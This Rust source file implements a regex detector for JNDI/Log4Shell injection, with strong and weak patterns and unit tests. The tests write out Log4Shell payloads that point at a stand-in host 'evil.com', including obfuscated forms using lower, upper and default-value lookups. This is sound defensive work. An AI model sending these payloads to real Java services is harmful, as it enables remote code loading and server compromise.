security_rust/injection/
jndi_injection.rs1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static STRONG_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
14 Regex::new(concat!(
15 r"(?i:\$\{jndi:",
17 r"|\$\{lower:j\}",
20 r"|\$\{upper:j\}",
21 r"|\$\{::-j\})",
22 ))
23 .unwrap()
24});
25
26static WEAK_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
39 Regex::new(concat!(
40 r"(?i:\$\{env:",
41 r"|\$\{sys:",
42 r"|\$\{java:)",
43 ))
44 .unwrap()
45});
46
47pub struct JndiInjectionDetector;
48
49impl Detector for JndiInjectionDetector {
50 fn name(&self) -> &'static str {
51 "jndi_injection"
52 }
53
54 fn detect(&self, input: &str) -> Option<DetectionResult> {
55 regex_detect(
56 std::slice::from_ref(&*STRONG_PATTERNS),
57 self.name(),
58 AttackCategory::Injection,
59 Severity::Critical,
60 "JNDI/Log4Shell injection detected",
61 input,
62 )
63 .or_else(|| {
64 regex_detect(
65 std::slice::from_ref(&*WEAK_PATTERNS),
66 self.name(),
67 AttackCategory::Injection,
68 Severity::Low,
69 "log4j lookup syntax present (weak signal)",
70 input,
71 )
72 })
73 }
74}
75
76#[cfg(test)]
77mod tests {
78 use super::*;
79
80 fn det() -> JndiInjectionDetector {
81 JndiInjectionDetector
82 }
83
84 fn assert_hit(input: &str) {
85 crate::test_helpers::assert_detected(
86 &det(),
87 input,
88 AttackCategory::Injection,
89 Severity::Critical,
90 );
91 }
92
93 fn assert_low(input: &str) {
94 crate::test_helpers::assert_detected(
95 &det(),
96 input,
97 AttackCategory::Injection,
98 Severity::Low,
99 );
100 }
101
102 #[test]
103 fn name_is_jndi_injection() {
104 assert_eq!(det().name(), "jndi_injection");
105 }
106
107 #[test]
108 fn detects_common_payloads() {
109 for input in [
110 "${jndi:ldap://evil.com/a}",
111 "${lower:j}ndi:ldap://evil.com/a}",
112 "${upper:j}NDI:rmi://evil.com}",
113 "${::-j}ndi:dns://evil.com}",
114 ] {
115 assert_hit(input);
116 }
117 }
118
119 #[test]
123 fn lookup_only_tokens_are_low_not_critical() {
124 for input in [
125 "${env:JNDI_LOOKUP}",
127 "${sys:java.version}",
128 "${java:os.name}",
129 r#"<Property name="logDir">${env:LOG_DIR}</Property>"#,
131 r#"<Property name="user">${sys:user.home}</Property>"#,
132 ] {
133 assert_low(input);
134 }
135 }
136
137 #[test]
138 fn benign_inputs_not_detected() {
139 for input in [
140 "Hello, this is a normal text input. Nothing suspicious here.",
141 "The jndi lookup service is running",
142 "Please set the JAVA_HOME env variable",
143 "log4j is a logging library",
144 ] {
145 assert!(det().detect(input).is_none(), "false positive: {input}");
146 }
147 }
148
149 #[test]
150 fn edge_cases() {
151 assert!(det().detect("").is_none());
152 assert!(det().detect(" \t\n ").is_none());
153 assert!(det().detect("你好世界 こんにちは").is_none());
154 assert!(det().detect("jndi:ldap://evil.com/a").is_none());
156 assert!(det().detect("${jndi").is_none());
157 assert!(det().detect("${jndildap://evil.com}").is_none());
158 }
159
160 #[test]
161 fn obfuscated_variants_detected() {
162 for input in ["${JNDI:ldap://evil.com/a}", "${LoWeR:j}ndi:ldap://evil.com}"] {
163 assert_hit(input);
164 }
165 }
166
167 #[test]
169 fn obfuscated_lookup_only_token_is_still_low() {
170 assert_low("${ENV:LOG4J_FORMAT_MSG_NO_LOOKUPS}");
171 }
172}